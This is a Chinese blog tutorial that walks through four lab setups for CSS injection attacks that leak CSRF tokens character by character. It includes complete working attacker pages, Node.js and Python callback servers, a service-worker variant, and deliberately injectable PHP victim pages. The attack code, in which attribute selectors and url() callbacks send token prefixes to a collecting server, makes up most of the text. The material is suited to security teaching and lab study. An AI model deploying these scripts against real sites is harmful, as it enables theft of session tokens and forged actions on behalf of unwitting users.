当前位置: 首页 > news >正文

CSS注入的四种实现方式

目录

CSS注入窃取标签属性数据

简单的一个实验:

解决hidden

方法1:js+node.js实现

侧信道攻击

方法2:对比波兰研究院的方案

使用兄弟选择器

方法3:js+websocket实现CSS注入

实验实现:

方法4:window.open结合serviceworker

实验验证:


现代浏览器都已经不允许在CSS中执行JavaScript了,以前的CSS注入可以利用JavaScript协议在url()、expression()中执行JavaScript代码从而实现XSS。

但是目前CSS注入在窃取数据方面仍然非常有用的,下面分别来分析一下CSS注入 窃取标签属性数据CSS中可以使用数据选择器,根据不同的属性选择标签。

例:

<style>
p[a="abc"]{color :red ;}
</style>
<p a="abc">hello world</p>

数据选择器还可以匹配一些特征,比如xxx开头或者xxx结尾等。

CSS注入窃取标签属性数据

利用上面的性质我们可以看出来窃取页面标签属性中的数据,比如下面当csrfToken以某个字母开头时,可以通过url()通知攻击者,从而窃取csrfToken的第一位的值:

简单的一个实验:

在CSSinject目录下面新建

(1)css.html:

<!DOCTYPE html>
<html lang="en">
​
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>CSS</title><link rel="stylesheet" href="./css.css"><!-- 这里将css样式引入到hmtl页面中 -->
</head>​
<body>
​<input type="text" name="csrf" value="abcdef">;
</body>
​
</html>

这里首先引入了css.css样式 ,然后有一个输入,名为csrf,值为abcdef

(2)css.css:

input[name="csrf"][value^="a"] {background: url(https://www.baidu.com);
}

这里就是通过标签选择器,选择到了name=csrf并且value是以a开头的输入,给它 设置一个背景,背景的URL是www.baidu.com

(3)测试

这里查看很明显成功的访问了

解决hidden

当然还有个问题,当标签type=hidden时浏览器是不允许我们设置background的,这样就无法触发

url()请求服务器解决方法之一是利用~CSS的兄弟选择器(必须是同一个父母),选择为后续所

有兄弟节点设置background。

方法1:js+node.js实现

侧信道攻击

(1)css.html


<!DOCTYPE html>
<html lang="en">
​
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>侧信道攻击</title>
</head>
​
<style>#frames {visibility: hidden;}
</style>
​
<body><div id="current"></div><div id="time_to_next"></div><div id="frames"></div>
</body>
<script>vuln_url = 'http://www.security.com/css.php?css=';server_receive_token_url = 'http://127.0.0.1:8083/receive/';server_return_token_url = 'http://127.0.0.1:8083/return';chars = "ABCDEFGHIJKLMOPQRSTUVWXYZabcdefghigklimnopqrstuvwxyz1234567890".split("");//md5其实全部都是小写的英文,这里完全可以将这些大写的英文删除掉known = "";function test_char(known, chars) {document.getElementById('frames').innerHTML = "";css = build_css(chars.map(v => known + v));frame = document.createElement('iframe');frame.src = vuln_url + css;frame.style = "visibility:hidden;";document.getElementById("frames").appendChild(frame);
​setTimeout(function () {//监听var oReq = new XMLHttpRequest();oReq.addEventListener("load", known_listener);oReq.open("GET", server_return_token_url);oReq.send();}, 1000);}function build_css(values) {//拼接css_payload = "";for (var value in values) {css_payload += "input[value^=\""+ values[value]+ "\"]{background-image:url("+ server_receive_token_url+ values[value]+ ")%3B}";}return css_payload;}function known_listener() {//请求document.getElementById("current").innerHTML = "Current Token:" + this.responseText;if (known != this.responseText) {known = this.responseText;test_char(known, chars);}else {known = this.responseText;alert("CSRF token is :" + known);}}test_char("", chars);
</script>
​
</html>

(2)css.css 

input[name="csrf"][value^="0"] {background: url(https://www.baidu.com);
}

(3)css.php

<?php
$token1=md5($_SERVER['HTTP_USER_AGENT']); //使用头部的一个字段生成了一段md5值
$token2=md5($token1); //这里将token1的值赋值给了token2
?>
<!doctype html><meta charset=utf-8>
<input  value=<?=$token1?>>
​
<script>
var TOKEN="<?=$token2?>";
</script>
<style>
<?=preg_replace('#</style#i','#', $_GET['css'])?> 
/* 这里 */
/* 如果遇到了style,并且忽略大小写,将其替换#,防止闭合style标签 */
</style>

(4)css.js

首先需要一个服务端,用来存储生成的md5值

var express = require('express');
var app = express();
var path = require('path');
var token = "";
​
//采用CORS实现跨域,允许被攻击页面向服务器发送请求
app.all("*", function (req, res, next) {//设置允许跨域的域名,*代表允许任意域名跨域res.header("Access-Control-Allow-Origin", "*");res.header("Access-Control-Allow-Methods", 'PUT,POST,GET,DELETE,OPTIONS');res.header("Access-Control-Allow-Credentials", true);next()
})
​
//处理receive页面请求 --- 接收参数token
app.get('/receive/:token', function (req, res) {token = req.params.token;console.log(token)res.send('ok');
});
​
//return页面请求,向客户端返回刚获取到的token
app.get('/return', function (req, res) {res.send(token);
});
​
//返回恶意页面
app.get('/css.html', function (req, res) {res.sendFile(path.join(__dirname, 'css.html'));
})
​
//配置本地服务器
var server = app.listen(8083, function () {var host = server.address().addressvar port = server.address().portconsole.log("Example app listening at http://%s:%s", host, port)
})

(5)测试

首先模拟服务端使用node运行css.js


然后在浏览器中输入www.security.com/css.html

可以看到成功的爆破出了服务端生成的随机Token

那再看看服务端:

服务端这里也将Token的值逐步的打印了出来

结论:使用iframe将受害页面包含进来,可以对其进行CSS注入。

获取token,token存储位置:服务端创建变量token转发给客户端,并且将token数值打印输出到服务端。

方法2:对比波兰研究院的方案

(1)css.html

<!doctype html>
<meta charset=utf-8>
<script src="./css.js"></script>
<big id=token></big><br>
<iframe id=iframe></iframe>
<script>(async function () {const EXPECTED_TOKEN_LENGTH = 32;const ALPHABET = Array.from("0123456789abcdef");const iframe = document.getElementById('iframe');let extractedToken = '';
​while (extractedToken.length < EXPECTED_TOKEN_LENGTH) {clearTokenCookie();  //清空cookiecreateIframeWithCss();extractedToken = await getTokenFromCookie();
​document.getElementById('token').textContent = extractedToken;}
​function getTokenFromCookie() {return new Promise(resolve => {const interval = setInterval(function () { //一直执行,直到cookie的值取出来const token = Cookies.get('token'); //直接使用cookie获取tokenif (token) {clearInterval(interval);resolve(token);}}, 50);});}
​function clearTokenCookie() {Cookies.remove('token');}
​function generateCSS() {let css = '';for (let char of ALPHABET) {css += `input[value^="${extractedToken}${char}"] {
background: url(http://127.0.0.01:3000/token/${extractedToken}${char})
}`;}
​return css;}function createIframeWithCss() {iframe.src = 'http://www.security.com/css.php/?css=' + encodeURIComponent(generateCSS());}
​})();
</script>

(2)css.js

const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');
​
const PORT = 3000;
​
// Obsługa zapytania przyjmującego token jako połączenie
// zwrotne.
app.get('/token/:token', (req, res) => {const { token } = req.params;
​// W odpowiedzi po prostu ustawiane jest ciasteczko o nazwie// token i tej samej wartości, która została przekazana w URL-ures.cookie('token', token);console.log(token);res.send('');
});
​
app.get('/css.js', (req, res) => {res.sendFile('js.cookie.js', {root: './node_modules/js-cookie/src/'});
});
​
app.get('/css.html', (req, res) => {res.sendFile('index.html', {root: '.'});
});
​
app.listen(PORT, () => {console.log(`Listening on ${PORT}...`);
})
​

(3)css.css

input[name="csrf"][value^="0"] {background: url(https://www.baidu.com);
}

(4)css.php

<?php
$token1=md5($_SERVER['HTTP_USER_AGENT']); //使用头部的一个字段生成了一段md5值
$token2=md5($token1); //这里将token1的值赋值给了token2
?>
<!doctype html><meta charset=utf-8>
<input  value=<?=$token1?>>
​
<script>
var TOKEN="<?=$token2?>";
</script>
<style>
<?=preg_replace('#</style#i','#', $_GET['css'])?> 
/* 这里 */
/* 如果遇到了style,并且忽略大小写,将其替换#,防止闭合style标签 */
</style>

(5)安装js-cookie库

在VScode中创建一个名为package.json文件,并且将以下内容进行写入

{"name": "css-attack-1","version": "1.0.0","description": "","main": "index.js","dependencies": {"express": "^4.15.5","js-cookie": "^2.1.4"},"devDependencies": {},"author": "","license": "ISC"
}

进入CMD命令行,移动到对应目录下:npm install

(6)这时候使用node监控 3000端口

(7)监控完成后,这时候就可以尝试访问www.security.com/css.html

可以看到,成功的爆出了Token的值

服务端:

注:如果访问不成功可以尝试换一个浏览器再次尝试访问

使用兄弟选择器

这里可以尝试将php中的input中修改类型为hidden,然后再尝试访问就会发现访问失败

<input  type="hidden"<?=$token1?>> //修改后
<input  type=<?=$token1?>> //原

再次访问:

可以看到,这个现在没有了输入框。因此无法爆出Token值

解决办法:使用兄弟元素

css.php文件

<input  type="hidden"<?=$token1?>> //原
<input  type="text"<?=$token1?>> //增加的

css.html文件

测试:

可以看到,成功的拿到了Token

方法3:js+websocket实现CSS注入

实验实现:

(1)websocket服务端

使用paycharm软件

需要进行WebSocketServer导包:

pip install SimpleWebSocketServer

我这里因为之前已经导入过了,所以没有下载 

(2)服务端配置

from http.server import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
from socketserver import ThreadingMixIn
from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket
PORT_HTTP = 8008
PORT_WS = 8000class RequestHandler(BaseHTTPRequestHandler, WebSocket):def do_GET(self):"""Respond to a GET request."""print("http GET request")self.send_response(200)self.end_headers()ws.sendMessage(self.path)returnclass ThreadedHTTPServer(ThreadingMixIn, HTTPServer):"""Handle requests in a separate thread."""class SimpleEcho(WebSocket):def handleMessage(self):# echo message back to clientprint(self.address, 'new msg')#self.sendMessage(self.data)def handleConnected(self):print(self.address, 'connected, opening http server')global wsws = selfhttpd = ThreadedHTTPServer(("", PORT_HTTP), RequestHandler)server_thread = Thread(target=httpd.serve_forever)server_thread.daemon = Trueserver_thread.start()print('http is on 8000,and ws is on 8008:')def handleClose(self):print(self.address, 'closed')server = SimpleWebSocketServer('', PORT_WS, SimpleEcho)
server.serveforever()

(3)js_websocket.html 

<!DOCTYPE html>
<html lang="en">
​
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
​
<body><div id="div"></div><iframe id="leakchar"></iframe>
</body>
<script>const WS = "ws://127.0.0.1:8000";const HTTP = "http://127.0.0.1:8008";const ALPHABET = Array.from("0123456789abcdef");var s = new WebSocket(WS);
​s.onopen = function (event) {console.log('connection open');next('');}s.onmessage = function (event) {let token = event.data.match(/\w+/)[0];next(token);}s.onclose = function (event) {console.log('bye');}
​function next(token) {if (token.length < 32) {console.log('leaking ' + token + '* ...');document.getElementById('leakchar').src = 'http://www.security.com/CSSinject/js_websocket.php?css=' + generateCSS(token);} else {console.log('done, lets pwn');changeEmail(token);}}
​function generateCSS(token) {let css = '';for (let char of ALPHABET) {css += `input[value^="${token}${char}"] ~*{background: url(http://127.0.0.1:8008/${token}${char})}`;}
​return css;}
​function changeEmail(token) {var div = document.getElementById("div");div.innerHTML = token;}
</script>
​
</html>

(4)js_websocket.php

<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
var_dump($token2);
?>
​
<!doctype html><meta charset=utf-8>
​
<input name="csrf" type=hidden value=<?=$token2 ?>>
<input >
<script>
var TOKEN = "<?=$token2 ?>";
</script>
​
<style>
/* 正则替换style闭合标签,防止恶意闭合,get方法获取css参数 */
<?=preg_replace('#</style#i', '#', $_GET['css']) ?>
</style>
​

(5)测试

首先开启pytcharm,运行服务器

然后浏览器尝试访问127.0.0.1/CSSinject/js_websocket.html

浏览器返回:

pytcharm返回:

可以看到成功的拿到了Token

方法4:window.open结合serviceworker

github上下载软件包:

GitHub - dxa4481/cssInjection: Stealing CSRF tokens with CSS injection (without iFrames)

实验验证:

(1)attacker.html

<html>
​
<body onclick="potatoes(0)">click somewhere to begin attack</body>
<script>(function () {if ('serviceWorker' in navigator) {navigator.serviceWorker.register('./sw.js');}})()//这里注册时加载sw.js,注册后就可以监听到了localStorage.removeItem('csrfToken');var potatoes = function (count) {var csrfToken = localStorage.getItem("csrfToken");if (!csrfToken) { //第二次csrfToken = '';}var css = `#sensitiveForm input[value^='${csrfToken}a'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}a); } #sensitiveForm input[value^='${csrfToken}b'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}b); } #sensitiveForm input[value^='${csrfToken}c'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}c); } #sensitiveForm input[value^='${csrfToken}d'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}d); } #sensitiveForm input[value^='${csrfToken}e'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}e); } #sensitiveForm input[value^='${csrfToken}f'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}f); } #sensitiveForm input[value^='${csrfToken}g'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}g); } #sensitiveForm input[value^='${csrfToken}h'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}h); } #sensitiveForm input[value^='${csrfToken}i'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}i); } #sensitiveForm input[value^='${csrfToken}j'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}j); } #sensitiveForm input[value^='${csrfToken}k'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}k); } #sensitiveForm input[value^='${csrfToken}l'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}l); } #sensitiveForm input[value^='${csrfToken}m'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}m); } #sensitiveForm input[value^='${csrfToken}n'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}n); } #sensitiveForm input[value^='${csrfToken}o'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}o); } #sensitiveForm input[value^='${csrfToken}p'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}p); } #sensitiveForm input[value^='${csrfToken}q'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}q); } #sensitiveForm input[value^='${csrfToken}r'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}r); } #sensitiveForm input[value^='${csrfToken}s'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}s); } #sensitiveForm input[value^='${csrfToken}t'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}t); } #sensitiveForm input[value^='${csrfToken}u'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}u); } #sensitiveForm input[value^='${csrfToken}v'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}v); } #sensitiveForm input[value^='${csrfToken}w'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}w); } #sensitiveForm input[value^='${csrfToken}x'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}x); } #sensitiveForm input[value^='${csrfToken}y'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}y); } #sensitiveForm input[value^='${csrfToken}z'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}z); } #sensitiveForm input[value^='${csrfToken}A'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}A); } #sensitiveForm input[value^='${csrfToken}B'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}B); } #sensitiveForm input[value^='${csrfToken}C'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}C); } #sensitiveForm input[value^='${csrfToken}D'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}D); } #sensitiveForm input[value^='${csrfToken}E'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}E); } #sensitiveForm input[value^='${csrfToken}F'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}F); } #sensitiveForm input[value^='${csrfToken}G'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}G); } #sensitiveForm input[value^='${csrfToken}H'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}H); } #sensitiveForm input[value^='${csrfToken}I'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}I); } #sensitiveForm input[value^='${csrfToken}J'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}J); } #sensitiveForm input[value^='${csrfToken}K'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}K); } #sensitiveForm input[value^='${csrfToken}L'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}L); } #sensitiveForm input[value^='${csrfToken}M'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}M); } #sensitiveForm input[value^='${csrfToken}N'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}N); } #sensitiveForm input[value^='${csrfToken}O'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}O); } #sensitiveForm input[value^='${csrfToken}P'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}P); } #sensitiveForm input[value^='${csrfToken}Q'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}Q); } #sensitiveForm input[value^='${csrfToken}R'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}R); } #sensitiveForm input[value^='${csrfToken}S'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}S); } #sensitiveForm input[value^='${csrfToken}T'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}T); } #sensitiveForm input[value^='${csrfToken}U'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}U); } #sensitiveForm input[value^='${csrfToken}V'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}V); } #sensitiveForm input[value^='${csrfToken}W'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}W); } #sensitiveForm input[value^='${csrfToken}X'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}X); } #sensitiveForm input[value^='${csrfToken}Y'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}Y); } #sensitiveForm input[value^='${csrfToken}Z'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}Z); } #sensitiveForm input[value^='${csrfToken}0'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}0); } #sensitiveForm input[value^='${csrfToken}1'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}1); } #sensitiveForm input[value^='${csrfToken}2'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}2); } #sensitiveForm input[value^='${csrfToken}3'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}3); } #sensitiveForm input[value^='${csrfToken}4'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}4); } #sensitiveForm input[value^='${csrfToken}5'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}5); } #sensitiveForm input[value^='${csrfToken}6'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}6); } #sensitiveForm input[value^='${csrfToken}7'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}7); } #sensitiveForm input[value^='${csrfToken}8'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}8); } #sensitiveForm input[value^='${csrfToken}9'] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}9); }`var win2 = window.open('http://127.0.0.1/openlab/cssinjection/index.php', 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")var win2 = window.open(`http://127.0.0.1/openlab/cssinjection/victim.html?injection=${css}`, 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")win2.blur();var newCount = count + 1;if (csrfToken.length == 20) {return null;}setTimeout(function () {potatoes(newCount);}, 2000);}window.addEventListener('storage', function (e) { //监听storage事件if (e.key == "csrfToken") {document.getElementById("CSRFToken").innerHTML = e.newValue;}}); 
</script>
</br>
The CSRF token is:
<div id="CSRFToken"></div>
​
</html>

(2)mockingTheBackend.js

navigator.serviceWorker.addEventListener("message", receiveMessage);
function receiveMessage(event) {console.log("got message");localStorage.setItem("csrfToken", event.data);
}

(3)sw.js 

self.addEventListener('fetch', function (event) { //监听fetch事件就是var urlLogged = event.request.url; //监听到请求if (urlLogged.indexOf("/log.php/") >= 0 && urlLogged.indexOf("victim") == -1) {//这里这里是否有log.php并且是否有请求页面var splitted = urlLogged.split("/log.php/");var csrfToken = splitted[splitted.length - 1];console.log(csrfToken);self.clients.matchAll().then(all => all.map(client => client.postMessage(csrfToken))); //}
});

(4)victim.html

<html>
<form action="http://127.0.0.1" id="sensitiveForm"><input id="secret" name="secret" value="dJ7cwON4BMyQi3Nrq26i">
</form>
<script>var fragment = decodeURIComponent(window.location.href.split("?injection=")[1]);var htmlEncode = fragment.replace(/</g, "&lt;").replace(/>/g, "&gt;");document.write("<style>" + htmlEncode + "</style>");
</script>
<script src="./mockingTheBackend.js"></script>
​
</html>

(5)测试

未点击前:

点击后:

相关文章:

CSS注入的四种实现方式

目录 CSS注入窃取标签属性数据 简单的一个实验&#xff1a; 解决hidden 方法1&#xff1a;jsnode.js实现 侧信道攻击 方法2&#xff1a;对比波兰研究院的方案 使用兄弟选择器 方法3&#xff1a;jswebsocket实现CSS注入 实验实现&#xff1a; 方法4&#xff1a;window…...

突然消失的桌面文件如何恢复?详细教程让你轻松解决问题!

桌面文件突然消失&#xff0c;对于很多人来说&#xff0c;可能是个令人头疼的问题。这些文件可能包含重要的信息&#xff0c;也可能是数日甚至数周的努力成果。那么&#xff0c;当这种情况发生时&#xff0c;我们如何恢复丢失的文件呢&#xff1f;本文将提供一些实用的建议。 1…...

Springboot+Dubbo+Nacos 集成 Sentinel(入门)

Sentinel 是面向分布式、多语言异构化服务架构的流量治理组件&#xff0c;主要以流量为切入点&#xff0c;从流量路由、流量控制、流量整形、熔断降级、系统自适应过载保护、热点流量防护等多个维度来帮助开发者保障微服务的稳定性。Sentinel 官网 1.版本选择 参考 SpringClou…...

ARPG----C++学习记录05 Section10 武器类,IK重定向,装备和捡起武器,动画蓝图

代码更新 11.13 BAOfanTing/ARPG_Game_Code7ab54d2 GitHub 武器类 基于item类&#xff0c;创建一个weapon的C类&#xff0c;基于它创建一个蓝图&#xff0c;刀剑的网格体给它。在蓝图里调动之前在C写好的sin函数添加到世界偏移量里&#xff0c;得到一把悬浮刀 在item把重叠函…...

CSRF跨站请求伪造

CSRF CSRF&#xff08;Cross-Site Request Forgery&#xff0c;跨站请求伪造&#xff09;是通过诱导用户执行操作&#xff0c;利用用户在网站上的登录状态&#xff0c;以用户的身份在网站上执行恶意操作。 以下是CSRF攻击的一些关键特征&#xff1a; 用户身份&#xff1a;CSR…...

修改kernel驱动配置文件

对于内核分析&#xff0c;使用CONFIG_KPROBESy和CONFIG_KPROBE_EVENTSy来启用内核动态跟踪&#xff0c;而CONFIG_FRAME_POINTERy用于基于帧指针的内核堆栈。对于用户级分析&#xff0c;CONFIG_UPROBESy和CONFIG_UROBE_EVENTSy用于用户级动态跟踪。 添加位置在 kernel/.config...

采集摄像头数据的Golang应用

引言 如今&#xff0c;我们生活在一个信息爆炸的时代&#xff0c;数字化的发展给我们带来了无限的便利。在生活中&#xff0c;我们经常需要使用摄像头来进行图像采集&#xff0c;比如监控系统、人脸识别系统等。本文将介绍如何使用Golang语言来采集摄像头数据&#xff0c;并进…...

Axure9学习

产品经理零基础入门&#xff08;四&#xff09;Axure 原型图教程&#xff0c;2小时学会_哔哩哔哩_bilibili 1. ① 页面对应页面个数&#xff0c;概要对应每个页面的具体内容 ② 文件类型 ③ 备用间隔改为5分钟 ④ 当多个元件重叠&#xff0c;想把在下面的元件b直接拖出来&…...

使用gitflow时如何合并hotfix

前言 在使用 git flow 流程时, 对于项目型的部署项目经常会遇到一个问题, 就是现场项目在使用历史版本时发现的一些问题需要修复, 但升级可能会有很大的风险或客户不愿意升级, 这时就要求基于历史版本进行 hotfix 修复. 基于历史发布版本的缺陷修复方式不同于最新发布版本的补…...

(七)Spring源码解析:Spring事务

对于事务来说&#xff0c;是我们平时在基于业务逻辑编码过程中不可或缺的一部分&#xff0c;它对于保证业务及数据逻辑原子性立下了汗马功劳。那么&#xff0c;我们基于Spring的声明式事务&#xff0c;可以方便我们对事务逻辑代码进行编写&#xff0c;那么在开篇的第一部分&…...

Stable Diffusion 是否使用 GPU?

在线工具推荐&#xff1a; Three.js AI纹理开发包 - YOLO合成数据生成器 - GLTF/GLB在线编辑 - 3D模型格式在线转换 - 3D数字孪生场景编辑器 Stable Diffusion 已迅速成为最流行的生成式 AI 工具之一&#xff0c;用于通过文本到图像扩散模型创建图像。但是&#xff0c;它需…...

DevOps平台两种实现模式

我们需要一个DevOps平台 要讨论DevOps平台的实现模式&#xff0c;似乎就必须讨论它们的概念定义。然而&#xff0c;当大家要讨论它们的定义时&#xff0c;就像在讨论薛定谔的猫。 A公司认为它不过是自动化执行Shell脚本的平台&#xff0c;有些人认为它是一场运动&#xff0c;另…...

Java 简单实现一个 UDP 回显服务器

文章目录 UDP 服务端UDP 客户端实现效果UDP 服务端(实现字典功能)总结 UDP 服务端 package network;import java.io.IOException; import java.net.DatagramPacket; import java.net.DatagramSocket; import java.net.SocketException;public class UdpEchoServer {private Da…...

element ui中Select 选择器,自定义显示内容

正常情况下&#xff0c;下拉框选项展示内容&#xff0c;就是选择后展示的label内容 如图所示&#xff1a; 但是要想自定义选项内容&#xff0c;但是展示内容不是选项label的内容&#xff0c;可以在el-option标签内增加div进行自定义选项label展示&#xff0c;但选择后结果展示…...

机器视觉行业,日子不过了吗?都进入打折潮,双11只是一个借口,打广告出新招,日子不好过是真的

我就不上图了&#xff0c;大家注意各个机器视觉公司公众号&#xff0c;为什么打折&#xff1f;打广告也只是宣传手段&#xff0c;进入打折潮&#xff0c;内卷严重&#xff0c;价格战变成白刃战&#xff0c;肯定日子不好过了。...

【手动创建UIWindow Objective-C语言】

一、上节课,我们讲了控制器View的懒加载: 1.什么时候会调用这个懒加载呢,用我们直接,控制器self.view self.view的时候: 什么时候,调用它这个self.view, 就要去加载控制器的view, self.view 加载控制器的view 我们给大家演示过了,这个大家已经清楚了,我们给大家说…...

【学习辅助】Axure手机时间管理APP原型,告别手机控番茄任务模板

作品概况 页面数量&#xff1a;共 30 页 兼容软件&#xff1a;Axure RP 9/10&#xff0c;不支持低版本 应用领域&#xff1a;时间管理、系统工具 作品申明&#xff1a;页面内容仅用于功能演示&#xff0c;无实际功能 作品特色 本品为「手机时间管理」APP原型&#xff0c;…...

[PyTorch][chapter 62][强化学习-基本概念]

前言&#xff1a; 目录&#xff1a; 强化学习概念 马尔科夫决策 Bellman 方程 格子世界例子 一 强化学习 强化学习 必须在尝试之后&#xff0c;才能发现哪些行为会导致奖励的最大化。 当前的行为可能不仅仅会影响即时奖赏&#xff0c;还有影响下一步奖赏和所有奖赏 强…...

使用 Stable Diffusion Img2Img 生成、放大、模糊和增强

在线工具推荐&#xff1a; Three.js AI纹理开发包 - YOLO合成数据生成器 - GLTF/GLB在线编辑 - 3D模型格式在线转换 - 3D数字孪生场景编辑器 Stable Diffusion 2022.1 Img5Img 于 2 年发布&#xff0c;是一款革命性的深度学习模型&#xff0c;正在重新定义和推动照片级真实…...

【Git】第一篇:Git安装(centos)

git查看安装版本 以我自己的centos7.6为例&#xff0c;我们可以输入以下指令查看自己是否安装了git. git --version安装了的话就会显示自己安装的版本。 git 安装 安装很简单&#xff0c;一条命令即可 sudo yum install git -ygit 卸载 sudo yum remove git -y...

19c补丁后oracle属主变化,导致不能识别磁盘组

补丁后服务器重启&#xff0c;数据库再次无法启动 ORA01017: invalid username/password; logon denied Oracle 19c 在打上 19.23 或以上补丁版本后&#xff0c;存在与用户组权限相关的问题。具体表现为&#xff0c;Oracle 实例的运行用户&#xff08;oracle&#xff09;和集…...

【WiFi帧结构】

文章目录 帧结构MAC头部管理帧 帧结构 Wi-Fi的帧分为三部分组成&#xff1a;MAC头部frame bodyFCS&#xff0c;其中MAC是固定格式的&#xff0c;frame body是可变长度。 MAC头部有frame control&#xff0c;duration&#xff0c;address1&#xff0c;address2&#xff0c;addre…...

CocosCreator 之 JavaScript/TypeScript和Java的相互交互

引擎版本&#xff1a; 3.8.1 语言&#xff1a; JavaScript/TypeScript、C、Java 环境&#xff1a;Window 参考&#xff1a;Java原生反射机制 您好&#xff0c;我是鹤九日&#xff01; 回顾 在上篇文章中&#xff1a;CocosCreator Android项目接入UnityAds 广告SDK。 我们简单讲…...

ETLCloud可能遇到的问题有哪些?常见坑位解析

数据集成平台ETLCloud&#xff0c;主要用于支持数据的抽取&#xff08;Extract&#xff09;、转换&#xff08;Transform&#xff09;和加载&#xff08;Load&#xff09;过程。提供了一个简洁直观的界面&#xff0c;以便用户可以在不同的数据源之间轻松地进行数据迁移和转换。…...

三体问题详解

从物理学角度&#xff0c;三体问题之所以不稳定&#xff0c;是因为三个天体在万有引力作用下相互作用&#xff0c;形成一个非线性耦合系统。我们可以从牛顿经典力学出发&#xff0c;列出具体的运动方程&#xff0c;并说明为何这个系统本质上是混沌的&#xff0c;无法得到一般解…...

基于matlab策略迭代和值迭代法的动态规划

经典的基于策略迭代和值迭代法的动态规划matlab代码&#xff0c;实现机器人的最优运输 Dynamic-Programming-master/Environment.pdf , 104724 Dynamic-Programming-master/README.md , 506 Dynamic-Programming-master/generalizedPolicyIteration.m , 1970 Dynamic-Programm…...

视频行为标注工具BehaviLabel(源码+使用介绍+Windows.Exe版本)

